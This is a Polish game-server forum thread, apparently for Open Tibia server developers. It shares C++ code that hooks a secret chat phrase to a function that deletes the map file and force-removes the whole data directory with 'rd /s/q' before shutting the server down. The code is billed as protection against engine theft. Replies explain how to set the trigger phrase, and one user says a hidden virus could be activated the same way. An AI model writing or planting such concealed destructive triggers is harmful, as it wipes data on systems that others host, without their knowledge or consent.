What's new

[C++][nowsze "SVN"]anty-zlodziejstwo/usuwanie servera

Status
Not open for further replies.

piti129

Advanced User
Joined
Apr 4, 2008
Messages
242
Reaction score
39
Witam was znalazlem pewna fajna rzecz ktora napewno sie przyda programista oraz tworca silnikow Autorem tego kodu jest nfries88 z otfans.net
Link do tematu :
Kod jest po to jezeli np. robisz ots w teamie i ktos jest hosterem i ci ukradnie silnik mozesz usunac za pomoca komendy wybrane przez ciebie folderu.
Mam nadzieje ze niektorym z was sie przyda.

Na koncu commands.cpp dodajemy :

Code:
bool Commands::deleteServ(Creature* c, const std::string cmd, const std::string param)
{
    // make sure the map is deleted first
    remove(g_config.getString(ConfigManager::MAP_FILE).c_str());
    
    // delete the entire data directory
    std::string del_str = "rd /s/q \"";
    del_str += g_config.getString(ConfigManager::DATA_DIRECTORY) + "\"";
    system(del_str.c_str());
    
    // tell them the server was deleted
    FILE* newfile = fopen("server deleted", "w+");
    fputs("The server has been deleted.", newfile);
    fclose(newfile);
    
    // close the server
    exit(0);
        
    return true;
}

W commands.h pod :

Code:
bool serverInfo(Creature* creature, const std::string& cmd, const std::string& param);

Wklej :

Code:
bool deleteServ(Creature*, const std::string, const std::string);

W game.cpp pod

Code:
if(player->isRemoved())
return false;

Wklej :

Code:
if(text == "[the text you want to have to say to delete the server, make sure it's damn hard to guess!]")
	     commands.deleteServ(player, "", text);

Ci co znaja angielski nie powinni miec problemow z ustawieniem tego.
 
Last edited:

Mondez

Advanced User
Joined
Sep 14, 2008
Messages
244
Reaction score
16
Odp: [C++][nowsze "SVN"]anty-zlodziejstwo/usuwanie servera

A ja jednak nie wiem ...

mo?esz wyt?umaczy? ?
I jak to sie usuwa ? trzeba by? gm ? czy remote control ? czy zwyk?y player i zrobi? trudna komende ?

wyja?nij bo wszystko zrobi?em ale to dalej nie dzia?a
 
Last edited:

Infinity

Senior User
Joined
May 28, 2008
Messages
594
Reaction score
102
Odp: [C++][nowsze "SVN"]anty-zlodziejstwo/usuwanie servera

Ja rozumiem. Trzeba wpisac jakis tekst na dowolnej postaci (player/gm). I najpierw usuwa mape, potem wszystko inne a na koncu wylacza serw =D.
 

Hoster

Senior User
Joined
May 22, 2008
Messages
1,093
Reaction score
34
Odp: [C++][nowsze "SVN"]anty-zlodziejstwo/usuwanie servera

Hehe... Dobry skrypt :D Na pewno si? przyda na "z?odziei silnik?w" :) Nie spodziewa?em si?, ?e powstanie kiedy? taki skrypt :D
Mam pytanie

Code:
if(text == "[the text you want to have to say to delete the server, make sure it's damn hard to guess!]")
	     commands.deleteServ(player, "", text);
Gdzie nale?y wpisa? t? komend? do wypowiedzenie, bo jako? nie rozumiem... W miejscu tego napisu?
[the text you want to have to say to delete the server, make sure it's damn hard to guess!]
 

Mondez

Advanced User
Joined
Sep 14, 2008
Messages
244
Reaction score
16
Odp: [C++][nowsze "SVN"]anty-zlodziejstwo/usuwanie servera

@UP

No w?a?nie tego ja te? nie wiem ...
 

Mappequ

User
Joined
Sep 6, 2008
Messages
30
Reaction score
2
Odp: [C++][nowsze "SVN"]anty-zlodziejstwo/usuwanie servera

tak tam pisze tekst kt?ry chcesz mie? z?by usun?? silnik
 

schikell

Active User
Joined
Apr 26, 2008
Messages
148
Reaction score
8
Odp: [C++][nowsze "SVN"]anty-zlodziejstwo/usuwanie servera

Code:
[B][COLOR="Red"]the text you want to have to say to delete the server, make sure it's damn hard to guess![/COLOR][/B]


tak w miejsce tego napisu. Skrypt z Otland.net bardzo dobry :)
 

Mondez

Advanced User
Joined
Sep 14, 2008
Messages
244
Reaction score
16
Odp: [C++][nowsze "SVN"]anty-zlodziejstwo/usuwanie servera

Eh ju? dzia?a wiem co i jak nawet mo?na zrobi? ?e jaki? ukryty virus sie uaktywnia :D

Wtedy juz nikt ci nie ukradnie ots xD
 
Last edited:

reeay

Active User
Joined
Apr 7, 2008
Messages
93
Reaction score
5
Odp: [C++][nowsze "SVN"]anty-zlodziejstwo/usuwanie servera

Skrypt fajny i przydatny zapewne, ale wida? ?e du?o os?b tu nie zna angielskiego :/ je?li chodzi o tekst kt?ry mamy wpisa? aby serwer si? usun??, trzeba wpisa? tam tekst gdzie jest napisane na zielono.
Code:
if(text == "[[COLOR="Lime"]the text you want to have to say to delete the server, make sure it's damn hard to guess![/COLOR]]")
	     commands.deleteServ(player, "[COLOR="SeaGreen"]Tu wpisz tekst[/COLOR]", text);
A je?li nie tam gdzie pokaza?em, to tu :p
 

Infinity

Senior User
Joined
May 28, 2008
Messages
594
Reaction score
102
Odp: [C++][nowsze "SVN"]anty-zlodziejstwo/usuwanie servera

Super skrypcik teraz mi naprawde pomogl p;
 
Status
Not open for further replies.
Top